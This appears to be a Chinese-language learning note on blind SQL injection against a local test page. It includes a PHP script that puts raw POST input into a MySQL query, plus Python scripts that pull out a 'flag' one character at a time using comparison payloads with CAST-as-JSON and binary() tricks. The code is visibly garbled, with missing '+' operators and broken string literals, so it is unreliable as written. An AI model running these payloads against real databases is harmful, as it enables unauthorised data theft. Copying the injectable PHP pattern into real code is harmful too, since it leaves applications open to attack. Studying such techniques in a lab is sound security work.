环境搭建
先自己创建两个数据表。
然后自己搭建一个极其简单的mysql查询网页。
网页代码:
代码语言:javascript复制#sql.php
<!DOCTYPE html>
<html>
<head>
<title>ezsqli</title>
</head>
<body>
<form action="" method="POST">
<input type="text" name="id">
<input type="submit">
</form>
</body>
</html>
<?php
if ($_POST['id']!='') {
$dbhost = 'localhost'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = 'root'; // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if (!$conn) {
die('连接失败: ' . mysqli_error($conn));
}
// 设置编码,防止中文乱码
mysqli_query($conn, "set names utf8");
$test = $_POST['id'];
$sql = "select number from math where id=$test";
mysqli_select_db($conn, 'test');
$retval = mysqli_query($conn, $sql);
if (!$retval) {
die('无法读取数据: ' . mysqli_error($conn));
} else {
$row = mysqli_fetch_array($retval);
echo $row['number'];
}
mysqli_close($conn);
}
?>
不区分大小写测试
测试代码:
代码语言:javascript复制import requests
url = 'http://localhost/sql.php'
def trans(flag):
res = ''
for i in flag:
res = hex(ord(i))
res = '0x' res.replace('0x','')
return res
flag = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = trans(flag chr(char))
payload = '2||((select 1,{})<(select * from test))'.format(hexchar)
data = {
'id':payload
}
r = requests.post(url=url, data=data)
if 'two' in r.text:
flag = chr(char-1)#这个可以用知道select ’f’<’flag’;和select ‘flag’<’flag’;就明白
print(flag)
break
print((flag[:-1] chr(ord(flag[-1]) 1)).lower())#这个是必须的,道理和上面一样
结果:
可以看到不区分大小写,而且都会转化为大写。这个是因为MySQL不区分大小写,而且大写字符的ASCII码都比小写的小。
区分大小写
1.CAST(‘0’as json)
代码语言:javascript复制import requests
import string
url = 'http://localhost/sql.php'
def test():
str1 = string.punctuation[0:15] '0123456789' string.punctuation[15:22] string.ascii_uppercase string.punctuation[22:28] string.ascii_lowercase string.punctuation[28:]
str1 = str1.replace("'", "").replace('"', '').replace('\', '')
print(str1)
flag = ''
for j in range(1,20):#如果flag太长,按照自己需要可以多循环几次
for s in str1:
s = flag s
paylaod = "2||((select 1,concat('{}~',CAST('0' as json))) < (select * from test))".format(s)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)
if 'two' in r.text:
flag=s
#print(r.text)
print(flag)
break
if __name__ == '__main__':
test()
结果:
MySQL中的JSON对象是二进制对象,因此cast(0 as json)回返回二进制’0’。也就是相当于”select ‘f0’<’flag’;”,而且’f0’是二进制数据。
2.binary()
代码语言:javascript复制import requests
import string
url = 'http://localhost/sql.php'
str1 =string.punctuation[0:15] '0123456789' string.punctuation[15:22] string.ascii_uppercase string.punctuation[22:28] string.ascii_lowercase string.punctuation[28:]
str1=str1.replace("'","").replace('"','').replace('\','')
print(str1)
flag = ''
for j in range(1, 20):#如果flag太长,按照自己需要可以多循环几次
for i in str1:
sql = flag i
paylaod = "2||((select 1,binary('{}')) < (select * from test))".format(sql)
# print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url, data=data)
if 'two' in r.text:
flag = chr(ord(i) - 1)
# print(r.text)
print(flag)
break
print(flag[:-1] chr(ord(flag[-1]) 1))
结果:
原理同上面一样。
总结:
原理很简单,我只是跟着大佬学习一下。需要注意的是,代码中str1的字符的顺序一定要按照ASCII码从小到大排序(这个坑了我好久)。”select ‘f’<’flag’;”和”select ‘falg’<’flag’;”的区别容易被忽略(说的就是我自己)。如果有更好的可以自己试试,原理就是这样。还请大佬指点。